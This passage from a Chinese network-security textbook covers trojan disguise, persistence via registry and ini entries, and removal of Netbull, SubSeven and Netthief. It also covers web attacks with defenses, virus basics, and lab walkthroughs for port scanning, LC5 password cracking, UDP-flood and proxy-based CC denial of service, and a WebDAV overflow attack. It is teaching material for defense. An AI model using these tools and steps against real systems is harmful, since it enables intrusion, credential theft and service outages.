另一种是软件下载,一些非正规的网站以提供软件下载为名义,将木马捆绑在软件安装程序上,下载后只要一运行这些程序,木马就会自动安装。 (2) 伪装方式。鉴于木马的危害性,很多人对木马知识还是有一定了解的,这对木马的传播起到了一定的抑制作用,这是木马设计者所不愿见到的。因此,他们开发了多种功能来伪装木马,以达到降低用户警觉、欺骗用户的目的。 伪装方式一般来说有以下几种。 ① 修改图标。也许你会在Email的附件中看到一个很平常的文本图标,但是我不得不告诉你,这也有可能是个木马程序,现在已经有木马可以将木马服务端程序的图标改成HTML、TXT、ZIP等各种文件的图标,这有相当大的迷惑性,但是目前提供这种功能的木马还不多见。 ② 捆绑文件。这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的情况下,偷偷地进入了系统。被捆绑的文件都是可执行文件,即EXE、COM之类的文件。 ③ 出错显示。有一定木马知识的人都知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序,木马的设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务端用户打开木马程序时,会弹出一个错误提示框——这当然是假的,错误内容可自由定义,大多会定制成一些诸如“文件已破坏,无法打开的!”之类的信息,当服务端用户信以为真时,木马却悄悄侵入了系统。 ④ 定制端口。很多老式的木马端口都是固定的,这给判断是否感染了木马带来了方便,只要查一下特定的端口就知道感染了什么木马,所以现在很多新式的木马都加入了定制端口的功能,控制端用户可以在1024~65535任选一个端口作为木马端口。一般不选1024以下的端口,这样就给判断感染木马类型带来了麻烦。 ⑤ 自我销毁。这项功能是为了弥补木马的一个缺陷。当服务端用户打开含有木马的文件后,木马会将自己复制到Windows的系统文件的C:\Windows或C: \Windows\System目录下。一般来说,原木马文件和系统文件夹中的木马文件大小是一样的,捆绑文件的木马除外。那么中了木马的朋友只要在近来收到的信件和下载的软件中找到原木马文件,然后根据原木马的大小去系统文件夹找相同大小的文件,判断哪个是木马就行了。而木马的自我销毁功能是指安装完木马后,原木马文件将自动销毁,这样服务端用户很难找到木马的来源,在没有查杀木马工具的帮助下,就很难删除木马了。 ⑥ 木马更名。安装到系统文件夹中的木马的文件名一般是固定的,那么只要根据一些查杀木马的文章,按图索骥在系统文件夹查找特定的文件,就可以断定中了什么木马。所以现在有很多木马都允许控制端用户自由定制安装后的木马文件名,这样很难判断所感染的木马类型了。 3) 运行木马 服务端用户运行木马或捆绑木马的程序后,木马就会自动进行安装。首先将自身复制到Windows的系统文件夹中(C:\Windows或C:\Windows\System目录下); 然后在注册表、启动组、非启动组中设置好木马的触发条件,这样木马的安装就完成了。安装后就可以启动木马了。 (1) 由触发条件激活木马。触发条件是指启动木马的条件,大致出现在下面几个地方。 ① 注册表。打开HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\下的5个以Run和RunServices命名的主键,在其中寻找可能是启动木马的键值。 ② 打开HKEY_CLASSES_ROOT\文件类型\shell\open\command主键,查看其键值。举个例子,国产木马“冰河”就是修改HKEY_CLASSES_ROOT\txtfile\shell\open\command下的键值,将“C:\Windows \Notepad.exe %1”改为“C:\Windows\System\Sysexplr.exe %1”,这时双击一个文本文件后,原本应用Notepad打开文件的,现在却变成启动木马程序了。还要说明的是不仅是文本文件,通过修改HTML、EXE、ZIP等文件的启动命令的键值都可以启动木马,不同之处只在于“文件类型”这个主键的差别,TXT是txtfile、zip对应的类型是winzip,大家可以试着去找一下。 ③ Win.ini。C:\Windows目录下有一个配置文件win.ini,用文本方式打开,在Windows字段中有启动命令load=和run=,一般情况下是空白的,如果有启动程序,则可能是木马。 ④ System.ini。C:\Windows目录下有个配置文件system.ini,用文本方式打开,在386Enh、mic、drivers32中有命令行,在其中寻找木马的启动命令。 ⑤ Autoexec.bat和Config.sys。在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都需要控制端用户与服务端建立连接后,将已添加木马启动命令的同名文件上传到服务端覆盖这两个文件才行。 ⑥ *.INI。即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将制作好的带有木马启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。 ⑦ 捆绑文件。实现这种触发条件首先要控制端和服务端通过木马建立连接,然后控制端用户用工具软件将木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖原文件,这样即使木马被删除了,只要运行捆绑了木马的应用程序,木马又会被安装上去了。 ⑧ 启动菜单: 在“开始”|“程序”|“启动”选项下也可能有木马的触发条件。 (2) 木马运行过程。木马被激活后进入内存,并开启事先定义的木马端口,准备与控制端进行连接,就可以在进入MSDOS方式下,用netstat命令的a、n参数通过端口的状态来查看是否有可疑端口开放,以进一步判断是否感染了木马。下面是计算机感染木马后,用Netstat命令查看端口的两个实例: 服务端与控制端建立连接时的显示状态; 服务端与控制端还未建立连接时的显示状态。 在上网过程中下载软件、发送信件、网上聊天等必然打开一些端口,下面是一些常用端口。 ① 1~1024端口。这些端口叫保留端口,是专给一些对外通信的程序用的,如FTP使用21、SMTP使用25、POP3使用110等。只有很少木马会用保留端口作为木马端口。 ② 1025以上的连续端口。在上网浏览网站时,浏览器会打开多个连续的端口下载文字、图片到本地硬盘上,这些端口都是1025以上的连续端口。 ③ 4000端口。这是OICQ的通信端口。 ④ 6667端口。这是IRC的通信端口。 除上述端口基本可以排除在外,如发现还有其他端口打开,尤其是数值比较大的端口,那就要怀疑是否感染了木马,当然如果木马有定制端口的功能,那任何端口都有可能是木马端口。 4) 泄露信息 一般来说,设计成熟的木马都有一个信息反馈机制。信息反馈机制是指木马成功安装后会收集一些服务端的软、硬件信息,并通过Email、IRC或ICO的方式告知控制端用户。 5) 建立连接 一个木马连接的建立首先必须满足两个条件: 一是服务端已安装了木马程序; 二是控制端、服务端都要在线。在此基础上控制端可以通过木马端口与服务端建立连接。 6) 远程控制 木马连接建立后,控制端端口和木马端口之间将会出现一条通道,控制端上的控制端程序可利用这条信道与服务端上的木马程序取得联系,并通过木马程序对服务端进行远程控制。 下面介绍控制端具体能享有哪些控制权限,这远比你想象的要大。 (1) 窃取口令。一切以明文的形式、*形式或缓存在Cache中的口令都能被木马侦测到,此外很多木马还提供有击键记录功能,它将会记录服务端每次敲击键盘的动作,所以一旦有木马入侵,口令将很容易被窃取。 (2) 文件操作。控制端可利用由远程控制对服务端上的文件进行删除、新建、修改、上传、下载、运行、更改属性等一系列操作,基本涵盖了Windows平台上所有的文件操作功能。 (3) 修改注册表。控制端可任意修改服务端注册表,包括删除、新建或修改主键、子键、键值。有了这项功能控制端就可以禁止服务端软驱、光驱的使用,锁住服务端的注册表,将服务端上木马的触发条件设置得更隐蔽等一系列高级操作。 (4) 系统操作。这项内容包括重启或关闭服务端操作系统,断开服务端网络连接,控制服务端的鼠标、键盘,监视服务端桌面操作,查看服务端进程等,控制端甚至可以随时给服务端发送信息,想象一下,当服务端的桌面上突然跳出一段话,不吓人一跳才怪。 2. 特洛伊木马程序的防范 预防特洛伊木马程序,有以下几种办法。 (1) 提高防范意识。不要打开陌生人信中的附件,熟人的信件也要确认一下来信的原地址是否合法。 (2) 多读readme.txt。许多人出于研究目的下载了一些特洛伊木马程序的软件包,在没有弄清软件包中几个程序的具体功能前,就匆匆地执行其中的程序,这样往往就错误地执行了服务器端程序而使用户的计算机成为了特洛伊木马的牺牲品。软件包中经常附带的readme.txt文件会有程序的详细功能介绍和使用说明,尽管它一般是英文的,但还是有必要先阅读一下,如果实在读不懂,那最好不要执行任何程序,丢弃软件包当然是最保险的了。 (3) 使用杀毒软件。现在国内的杀毒软件都推出了清除某些特洛伊木马的功能,如KV300、Kill98、瑞星等,可以不定期地在脱机的情况下进行检查和清除。 (4) 立即挂断。尽管造成上网速度突然变慢的原因有很多,但有理由怀疑这是由特洛伊木马造成的,当入侵者使用特洛伊的客户端程序访问你的机器时,会与你的正常访问抢占宽带,特别是当入侵者从远端下载用户硬盘上的文件时,正常访问会变得奇慢无比。 (5) 监测系统文件和注册表的变化。 3. 应用案例 特洛伊木马攻击的常用工具及方法。 1) Netbull 网络公牛又名Netbull,是国产木马,默认连接端口234444,最新版本为V1.1。运行服务端程序newserver.exe后,会自动脱壳成checkdll.exe,位于C:\Windows\System下,下次开机checkdll.exe将自动运行,因此很隐蔽、危害很大。同时,服务端运行后会自动捆绑以下文件。 在Windows 2000下会出现文件改动报警,但也不能阻止以下文件的捆绑: notepad.exe、regedit.exe、reged32.exe、drwtsn32.exe、winmine.exe。 服务端运行后还会捆绑在开机时自动运行的第三方软件(如realplay.exe、QQ、ICQ等)上。在注册表中网络公牛也悄悄地扎下了根,代码如下: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "CheckDll.exe"="C:\WINDOWS\SYSTEM\CheckDll.exe" [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices] "CheckDll.exe"="C:\WINDOWS\SYSTEM\CheckDll.exe" [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run] "CheckDll.exe"="C:\WINDOWS\SYSTEM\CheckDll.exe" 网络公牛采用文件捆绑功能,和上面所列出的文件捆绑在一块,要清除非常困难。这样做也容易暴露自己。稍微有经验的用户就会发现文件长度发生了变化,从而怀疑自己感染了“木马”病毒。 清除方法如下。 (1) 删除网络公牛的自启动程序C:\Windows\System\CheckDll.exe。 (2) 把网络公牛在注册表中所建立的键值全部删除(上面所列出的那些键值全部删除)。 (3) 检查上面列出的文件,如果发现文件长度发生了变化(大约增加了40KB,可以通过与其他机器上的正常文件比较得知),就删除它们。然后依次单击“开始”|“附件”|“系统工具”|“系统信息”|“工具”|“系统文件检查器”,在弹出的对话框中选中“从安装软盘提取一个文件”,在对话框中输入要提取的文件(前面你删除的文件),单击“确定”按钮,然后按屏幕提示将这些文件恢复即可。如果是开机时自动运行的第三方软件如realplay.exe、QQ等被捆绑上了,就把这些文件删除,重新安装。 2) SubSeven SubSeven的功能比起大名鼎鼎的BO2K可以说有过之而无不及。最新版为2.2(默认连接端口为27374),服务端只有54.5KB,很容易被捆绑到其他软件而不被发现,最新版的金山毒霸等杀毒软件查不到它。服务器端程序server.exe,客户端程序subseven.exe。SubSeven服务端被执行后,变化多端,每次启动的进程名都会发生变化,因此查之很难。 清除方法如下。 (1) 打开注册表Regedit,单击至HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\Run和RunService下,如果有加载文件,就删除右边的项目: 加载器=“c:\windows \system\***”。注: 加载器和文件名是随意改变的。 (2) 打开win.ini文件,检查“run=”后有没有加上某个可执行文件名,如有则删除之。 (3) 打开system.ini文件,检查“shell=explorer.exe”后有没有跟某个文件,如有则将它删除。 (4) 重新启动Windows,删除相对应的木马程序,一般在C:\Windows\System下。 3) Netthief 网络神偷又名Netthief,是第一个反弹端口型木马。与一般的木马相反,反弹端口型木马的服务端(被控制端)使用主动端口,客户端(控制端)使用被动端口。为了隐蔽起见,客户端的监听端口一般开在80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似“TCP服务端的IP地址: 1026客户端的IP地址: 80 ESTABLISHED”的情况,稍微疏忽一点就会以为自己在浏览网页。 清除方法如下。 (1) 网络神偷会在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下建立键值“internet”,其值为“internet.exe/s”,将键值删除。 (2) 删除其自启动程序C:\Windows\System\Internet.exe。 3.3.5Web攻击 Internet很多站点都存在易受攻击的漏洞。仅仅通过IPSec阻止对端口的访问、给系统打上最新的补丁并不能完全阻挡黑客的攻击。除了强化网络系统本身的安全外,还要依赖Web应用程序开发者来加强Web安全。以下列举几种最常见Web攻击的手段和防范方法。 1. 跨站脚本攻击 跨站脚本(Cross Site Scripting,XSS)攻击是指恶意攻击者往Web页面里插入恶意HTML代码,当用户浏览该页时,嵌入其中Web里面的HTML代码会被执行,从而达到恶意用户的特殊目的。 通常跨站脚本被称为XSS,这是为了与样式表CSS进行区分所形成的习惯,所以当你听某人提到CSS或者XSS安全漏洞时,通常指的是跨站脚本攻击。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。如何防范XSS攻击呢? (1) 在Web浏览器上禁用JavaScript和ActiveX脚本。 (2) 要仔细审核代码,对提交输入数据进行有效检查,如“<”和“>”,可以把“<”“>”转换为<、>。 2. SQL注入攻击 SQL注入攻击是黑客对数据库进行攻击的常用手段之一。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没有查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。 结构化查询语言SQL是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到入侵数据库乃至操作系统的目的。它的产生主要是由于程序对用户输入的数据没有进行细致的过滤,导致非法数据的导入查询。 SQL注入攻击主要是通过构建特殊的输入,这些输入往往是SQL语法中的一些组合,这些输入将作为参数传入Web应用程序,通过执行SQL语句而执行了入侵者想要的操作。或者确切地说,SQL注入式攻击就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。 防范SQL注入攻击的有效方法: 在服务端正式处理之前对提交数据的合法性进行检查; 封装客户端提交的信息; 替换或删除敏感字符或字符串; 屏蔽出错信息; 不要用字符串连接建立SQL查询,而使用SQL变量,因为变量不是可以执行的脚本; 最小化权限设置,给静态网页目录和动态网页目录分别设置不同的权限,尽量不改写目录权限; 去掉Web服务器上默认的一些危险命令,如ftp、cmd、wscript等,需要时再复制到相应目录; 数据敏感信息非常规加密,在程序中对口令等敏感信息都是采用md5函数进行加密,即密文=md5(明文); 推荐在原来加密的基础上增加一些非常规的方式,即在md5加密的基础上附带一些值,如密文=md5(md5(明文)+123456)。 3. 会话劫持攻击 Web应用程序都是通过Cookie或者Session来认证用户。通过将加密的用户认证信息存储到Cookie中,或者通过赋予客户端的一个Token,通常也就是所说的SessionId来在服务器端直接完成认证和取得用户的身份信息,不管采用哪一种方式,实际上在HTTP协议里都是通过Cookie来实现的,不同的是Cookie可以比较长期地存储在客户端上,而Session往往在会话结束之后服务器监视会话不处于活动状态而予以销毁。 对于Web应用程序来讲,为了安全,服务器应该将Cookie和客户端绑定,譬如将客户端的加密IP也存储到Cookie里,如果发现IP发生变化就可以认为是Cookie发生了泄露,应该取消这个Cookie,但是这样一来用户体验就非常不好,所以一般的应用程序都没有对Cookie做太多的保护,这就为客户端身份窃取提供了可乘之机。 对于Session认证,在退出或者关闭浏览器而与服务器的沟通结束之后,Session在一定时间内也被销毁。但是如果程序设计存在问题,可能导致利用Session的机制在服务器上永久地产生一个后门(在某些设计不严的程序里,可能修改口令也不能消除掉这种后门),这里把它称为一种真正意义上的会话(Session)劫持攻击。 利用应用程序设计缺陷进行Session劫持的攻击原理: 有效的Session ID值可能失窃,合法用户再次登录之后,他获得新的Session ID,如果攻击者用窃取到的Session ID连接服务器,这样服务器上就存在两个有效的Session ID了。通过研究应用程序的Session超时机制和心跳包机制,就可以长久地使这个Session有效。即使用户退出应用程序,销毁了他的Session ID,但是仍然有一个Session ID被攻击者掌握。 防范会话劫持攻击的方法: 在设计认证的时候就强行要求客户端必须唯一且认证信息在多少天之后就过期的机制,但是这样也会和将Cookie和IP绑定一样,可能带来不好的用户体验,如何在设计的时候意识到这个问题并且权衡应用和安全的平衡点才是Web应用程序设计者要考虑的难题。 3.3.6计算机病毒 要认识病毒,就要从病毒的机制、分类、结构、传染机制等多个方面对病毒进行全面的了解。 1. 计算机病毒概述 (1) 计算机病毒的定义。计算机病毒(Computer Virus)在《中华人民共和国计算机信息系统安全保护条例》中明确定义: “指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。”计算机病毒就像生物病毒一样,有独特的复制能力,可以很快地蔓延,而且常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。 (2) 计算机病毒的分类。按照计算机病毒存在的介质进行分类,可以划分为网络病毒、文件病毒、引导型病毒。网络病毒通过计算机网络传播感染网络中的可执行文件,文件病毒感染计算机中的文件(如COM、EXE、DOC等),引导型病毒感染启动扇区(Boot)和硬盘的系统引导扇区(MBR)。 按照计算机病毒传染的方法进行分类,可分为驻留型病毒和非驻留型病毒。驻留型病毒感染计算机后,把自身的内存驻留部分放在内存中,这一部分程序挂接系统调用且合并到操作系统中去,处于激活状态,一直到关机或重新启动。非驻留型病毒在得到机会激活时并不感染计算机内存,一些病毒在内存中留有小部分,但是并不通过这一部分进行传染,这类病毒也被划分为非驻留型病毒。 (3) 计算机病毒的结构。由于计算机病毒是一种特殊程序,其结构决定了病毒的传染能力和破坏能力。计算机病毒程序主要包括三大部分: 一是传染部分(传染模块),是病毒程序的一个重要组成部分,它负责病毒的传染和扩散; 二是表现和破坏部分(表现模块或破坏模块),是病毒程序中最关键的部分,它负责病毒的破坏工作; 三是触发部分(触发模块),病毒的触发条件是预先由病毒编者设置的,触发程序判断触发条件是否满足,并根据判断结果来控制病毒的传染和破坏动作。 2. 计算机病毒的传染机制 (1) 计算机病毒的传染方式。传染是指计算机病毒由一个载体传播到另一个载体,由一个系统进入另一个系统的过程。这种载体一般为磁盘或磁带,它是计算机病毒赖以生存和进行传染的介质。但是,只有载体还不足以使病毒得到传播。促成病毒的传染还有一个先决条件,可分为两种情况,或者叫做两种方式。 其中一种情况是,用户在进行复制磁盘或文件时,把一个病毒由一个载体复制到另一个载体上。或者是通过网络上的信息传递,把一个病毒程序从一方传递到另一方。这种传染方式叫做计算机病毒的被动传染。另一种情况是,计算机病毒是以计算机系统的运行以及病毒程序处于激活状态为先决条件。在病毒处于激活的状态下,只要传染条件满足,病毒程序能主动地把病毒自身传染给另一个载体或另一个系统。这种传染方式叫做计算机病毒的主动传染。 (2) 计算机病毒的传染过程。对于病毒的被动传染而言,其传染过程是随着复制磁盘或文件工作的进行而进行的,而对于计算机病毒的主动传染而言,其传染过程是这样的: 在系统运行时,病毒通过病毒载体即系统的外存储器进入系统的内存储器(即常驻内存),并在系统内存中监视系统的运行。在病毒引导模块将病毒传染模块驻留内存的过程中,通常还要修改系统中断向量入口地址(如INT 13H或INT 21H),使该中断向量指向病毒程序传染模块。这样,一旦系统执行磁盘读写操作或系统功能调用,病毒传染模块就被激活,传染模块在判断传染条件满足的条件下,利用系统INT 13H读写磁盘中断把病毒自身传染给被读写的磁盘或被加载的程序,也就是实施病毒的传染,然后再转移到原中断服务程序执行原有的操作。 3. 计算机病毒的防范 有规律地备份系统关键数据; 制作应急盘; 提高对光盘的警觉; 限制使用您的计算机的人的数量; 使用360安全卫士系列软件。 习题3 31什么是因特网上的踩点?都有哪些踩点技巧? 32什么是端口扫描?都有哪些扫描技术? 33网络踩点与网络扫描有什么区别? 34Windows系统有哪些查点方法? 35如何利用工具获取Windows系统System账户的权限? 36Windows系统有哪些创建后门工具? 37有哪些拒绝服务的攻击方法? 38缓冲区溢出攻击的基本原理是什么? 39木马系统各部分的作用是什么? 实训3.1Ping、Tracert和Sam Spade网络探测 【实训目的】 熟练掌握Ping、Tracert和Sam Spade这3种扫描工具。 【实训环境】 (1) 局域网。 (2) 连接到Internet。 (3) 实训软件。 【实训内容】 1. Ping Ping目标主机是否存活,如图315所示。 图315Ping目标主机 2. Tracert Tracert记录到达目标主机的路径,如图316所示。 图316Tracert记录路径 3. Sam Spade Sam Spade记录到达目标主机的路径,如图317所示。 图317Sam Spade记录路径 实训3.2SuperScan网络扫描 【实训目的】 (1) 熟悉端口扫描的原理; 通过练习使用网络端口扫描器,了解目标主机开放的端口和服务程序,从而获取系统的有用信息,发现网络系统的安全漏洞。 (2) 掌握在Windows下,使用SuperScan进行网络端口扫描的方法。 【实训环境】 (1) 局域网环境,2~3台Windows Server 2008服务器,一台客户机,开放服务。 (2) SuperScan是对目标主机的安全性弱点进行扫描检测的工具软件。它具有数据分析功能,通过对端口的扫描分析,可以发现目标主机开放的端口和所提供的服务,以及相应服务软件版本和这些服务软件的安全漏洞,从而能及时了解目标主机存在的安全隐患。 (3) 扫描工具根据作用环境的不同,可分为两种类型,即网络漏洞扫描工具和主机漏洞扫描工具。 ① 主机漏洞扫描工具是指在本机运行的扫描工具,以期检测本地系统存在的安全漏洞。 ② 网络漏洞扫描工具是指通过网络检测远程目标网络和主机系统存在漏洞的扫描工具。 【实训内容】 1. SuperScan SuperScan系统界面如图318所示。 图318SuperScan系统界面 2. SuperScan对本地主机进行主机名解析和端口扫描 TCP数据包首部结构如图319所示。 图319TCP数据包结构 (1) SYN用来建立连接。 (2) ACK为确认标志位。例如,当SYN=1,ACK=0表示请求连接的数据包; 当SYN=1,ACK=1表示接受连接的数据包。 (3) FIN表示发送端已经没有数据可传了,希望释放连接。 (4) RST位用于复位错误的连接,例如收到的一个数据分段不属于该主机的任何一个连接,则向远端计算机发送一个RST=1的复位数据包,拒绝连接请求。 (5) TCP SYN扫描。本地主机向目标主机发送SYN数据段,如果远端目标主机端口开放,则回应SYN=1、ACK=1,此时本地主机发送RST给目标主机,拒绝连接。如果远端目标主机端口未开放,则会回应RST给本地主机。 由此可知,根据回应的数据段可判断目标主机的端口是否开放。由于TCP SYN扫描没有建立TCP正常连接,所以降低了被发现的可能,同时提高了扫描性能。 (6) TCP FIN扫描。本地主机向目标主机发送FIN=1,如果远端目标主机端口开放,则丢弃此包,不回应; 如果远端目标主机端口未开放,则返回一个RST包。FIN扫描通过发送FIN的反馈判断远端目标主机的端口是否开放。 由于这种扫描方法没有涉及TCP的正常连接,所以使扫描更隐秘,也称为秘密扫描。这种方法通常适用于UNIX操作系统主机,但有的操作系统(如Windows 2003)不管端口是否打开,都回复RST,这时这种方法就不适用了。 (7) UDP ICMP扫描。这种方法利用了UDP协议,当向目标主机的一个未打开的UDP端口发送一个数据包时,会返回一个ICMP_PORT_UNREACHABLE错误,这样就会发现关闭的端口。 对于两台计算机间的任一个TCP连接,一台计算机的一个[IP地址: 端口]套接字会和另一台计算机的一个[IP地址: 端口]套接字相对应,彼此标识着源端、目的端上数据包传输的源进程和目标进程。这样网络上传输的数据包就可以由套接字中的IP地址和端口号找到需要传输的主机和连接进程了。可见,端口和服务进程一一对应,从扫描开放的端口可以判断计算机中正在运行的服务进程。 TCP/UDP的端口号在0~65535范围之内,其中1024以下的端口给常用的网络服务。 例如,21端口为FTP服务,23端口为TELNET服务,25端口为SMTP服务,80端口为HTTP服务,110端口为POP3服务等。图320~图322所示为扫描端口20至端口80,设置端口列表。 3. SuperScan综合集成工具对局域网的主机进行扫描 对局域网主机扫描界面如图323所示。 图320设置端口 图321扫描端口 图322扫描报告 图323对局域网主机扫描 实训3.3Fluxay 5.0综合扫描 【实训目的】 掌握使用综合漏洞扫描及安全评估工具,加深对各种网络和系统漏洞的理解。 【实训环境】 (1) 两台或多台运行Windows Server 2003的计算机,局域网环境。 (2) 流光(Fluxay 5.0)工具软件。 【实训内容】 1. 认识Fluxay 5.0综合扫描工具(如图324所示) 图324Fluxay 5.0综合扫描工具 图324中各部分功能如下。 区域1: 暴力破解的设置区域。 区域2: 控制台输出。 区域3: 扫描出来的典型漏洞列表。 区域4: 扫描或者暴力破解成功的用户账号。 区域5: 扫描或者暴力破解的速度控制。 区域6: 扫描或者暴力破解时的状态显示。 区域7: 中止按钮。 区域8: 探测记录查找。 2. 设置扫描参数 选择“文件”|“高级扫描向导”菜单命令,设置扫描参数,按照提示逐步单击“下一步”按钮,如图325~图329所示。 图325设置参数第1步 图326设置参数第2步 图327设置参数第3步 图328设置参数第4步 图329设置参数第5步 3. 扫描结果 设置参数完成后,流光的扫描引擎可安装在不同主机上(包括本地主机)。单击“开始”按钮,窗口右侧及下侧滚动显示扫描结果,如图330和图331所示。 图330扫描主机 图331滚动显示扫描结果 4. 扫描结束 查看扫描报告如图332和图333所示。 图332扫描报告1 图333扫描报告2 实训3.4口 令 破 解 【实训目的】 通过口令破解工具LC5的使用,了解账号口令的安全性,掌握安全口令的设置原则,以保护账号口令的安全。LC5软件功能非常强大,通过实验来掌握如何使用LC5来破解账号口令。系统管理员也可以使用这个软件来检测用户计算机口令的安全性。 【实训环境】 (1) 两台安装有Windows 2000/2003/XP或更高级别的Windows操作系统,通过网络互联。 (2) LC5口令破解软件,工具软件PWDump4。 LC5的安装过程具体如图334和图335所示。 图334LC5安装第1步 图335LC5安装第2步 选择一个应用程序,安装完成。 【实训内容】 在Windows操作系统中,用户账号和口令经过Hash变换后以Hash列表形式存放在\SystemRoot\system32下的SAM文件中。LC5通过破解SAM文件来获取系统的账号名和口令。 1. 建立测试账户 在测试主机上建立用户名test的账户,方法是依次打开“控制面板”|“计算机管理”,在“本地用户和组”中选择“新用户”,如图336所示,输入用户名为test,口令为空。 2. 运行LC5 在LC5主界面的主菜单中,选择“文件”|“LC5向导”菜单命令,按照提示,单击“下一步”按钮,系统会出现如图337所示的用户test“口令为空”的破解成功界面。 3. 修改口令为123123 将系统口令改为123123,再次执行,LC5很快就破解成功,出现如图338所示的用户test、口令123123的破解成功界面。 图336建立账户 图337破解成功 图338再次破解成功 4. 修改口令为security123 将系统口令改为security123,再次执行,LC5没有完全破解,出现如图339所示的界面。 图339破解失败 这是因为刚才口令设置成了“字符串”+“数字”格式,比较复杂,所以破解不能成功,必须选择复杂口令破解方法。 实训3.5拒绝服务攻击 【实训目的】 通过练习使用DoS/DDoS攻击工具对目标主机进行攻击,理解DoS/DDoS攻击的原理及其实施过程,掌握检测和防范DoS/DDoS攻击的措施。 【实训环境】 (1) 两台安装Windows Server 2008的PC,在其中一台安装UDP Flood软件、CC攻击软件和花刺代理软件。 (2) 两台PC通过Hub相连,组成一个局域网。 【实训内容】 1. UDP Flood攻击练习 (1) UDP Flooder是一种采用UDP Flood攻击方式的DoS软件,可以向特定的IP地址和端口发送UDP包。在IP/hostname和Port框中指定目标主机的IP地址和端口号,Max duration设定最长的攻击时间,在Speed框中可以设置UDP包发送的速度,在Data框中,定义UDP数据包包含的内容,默认情况下为UDP Flood.Server stress test的文本内容。单击Go按钮即可对目标主机发起UDP Flood攻击,如图340所示。 图340发起UDP Flood攻击 (2) 在被攻击主机中可以查看收到的UDP数据包,这需要事先对系统监视器进行配置。打开“控制面板”|“管理工具”|“性能”,首先在系统监视器中单击右侧图文框上面的“+”按钮或单击鼠标右键,选择“添加计数器”命令,如图341所示。 图341被攻击主机监视器查看数据包 (3) 在弹出的对话框中添加对UDP数据包的监视,在“性能对象”下拉列表框中选择UDP协议,在“从列表选择计数器”列表中选择Datagram Received/sec,即对收到的UDP数据包进行计数,然后配置好包计数器信息的日志文件,如图342所示。 图342配置日志文件 (4) 在被攻击主机上打开Wireshark工具,可以捕获由攻击者计算机发到本地计算机的UDP数据包,可以看到内容为UDP Flood.Server stress test的大量UDP数据包,如图343所示。 图343用Wireshark捕获数据包 2. CC攻击练习 CC主要是用来攻击页面的。对于论坛,访问的人越多,论坛的页面越多,数据库就越大,被访问的频率也越高,占用的系统资源也就相当可观。CC就是充分利用这个特点,模拟多个用户(多少线程就是多少用户)不停地进行访问(访问那些需要大量数据操作,也就是需要大量CPU时间的页面)。 代理可以有效地隐藏身份,也可以绕开所有的防火墙,因为几乎所有的防火墙都会检测并发的TCP/IP连接数目,超过一定数目、一定频率就会被认为是ConnectionFlood。使用代理还能很好地保持廉洁,这里发送了数据,代理帮助转发给对方服务器,就可以马上断开,代理还会继续保持着和对方的连接。 (1) 打开CC的可执行程序,如图344所示。 图344CC可执行程序 (2) 在TargetHttp文本框中输入要攻击的目标地址,单击LoadProxy按钮,出现如图345所示对话框。 图345显示代理文件 (3) 从文件列表中找到代理文件,单击“打开”按钮,出现如图346所示界面,可以看到代理文件中的代理加入了攻击的行列。 图346查看攻击队列 (4) 在主界面,单击AddAttack按钮,开始攻击。多单击AddAttack按钮几次,每单击一次攻击强度就加强一倍。使用netstatan命令可以查看攻击状态。 (5) 代理和验证软件“花刺代理验证”的主界面如图347所示。 图347查找验证 (6) 可以采用在网上搜索“今日代理”,保存为如图348所示格式的记事本文件。 图348代理文件 (7) 在“花刺代理验证”主界面中单击“导入”按钮,再单击“验证全部”按钮。对于可用的代理选定,单击“导出选定”按钮成为CC攻击可用的代理文件。 实训3.6缓冲区溢出攻击 【实训目的】 IIS 5.0默认提供了对WebDAV的支持,WebDAV可以通过HTTP向用户提供远程文件存储的服务。但IIS 5.0包含的WebDAV组件不充分检查传递给部分系统组件的数据,远程攻击者利用这个漏洞对WebDAV进行缓冲区溢出攻击,可能以Web进程权限在系统上执行任意指令。 IIS 5.0的WebDAV使用了ntdll.dll中的一些API函数,而这些函数存在一个缓冲区溢出漏洞。通过对WebDAV的畸形请求可以触发这个溢出,成功利用这个漏洞可以获得LocalSystem权限。这意味着入侵者可以获得主机的完全控制能力。 【实训环境】 (1) 局域网环境,预装Windows Server 2003的多台主机,实验前停止运行杀毒软件。 (2) 黑客软件WebDAVScan和WebDAVx3。 【实训内容】 用黑客软件WebDAVScan和WebDAVx3扫描并双击有缓冲区溢出漏洞的计算机。 (1) 运行WebDAVScan程序,并单击“扫描”按钮,对有漏洞的主机进行漏洞扫描,如图349所示。 图349用WebDAVScan进行扫描 (2) 执行WebDAVx3程序,对有漏洞的计算机发起攻击,如图350所示。 图350执行WebDAVx3程序发起攻击 (3) 攻击结果是获得了对远程计算机的超级用户访问权,如图351所示。 图351攻击结果 实训3.7木 马 攻 击 【实训目的】 (1) 通过对木马的练习,使读者理解和掌握木马传播和运行的机制。 (2) 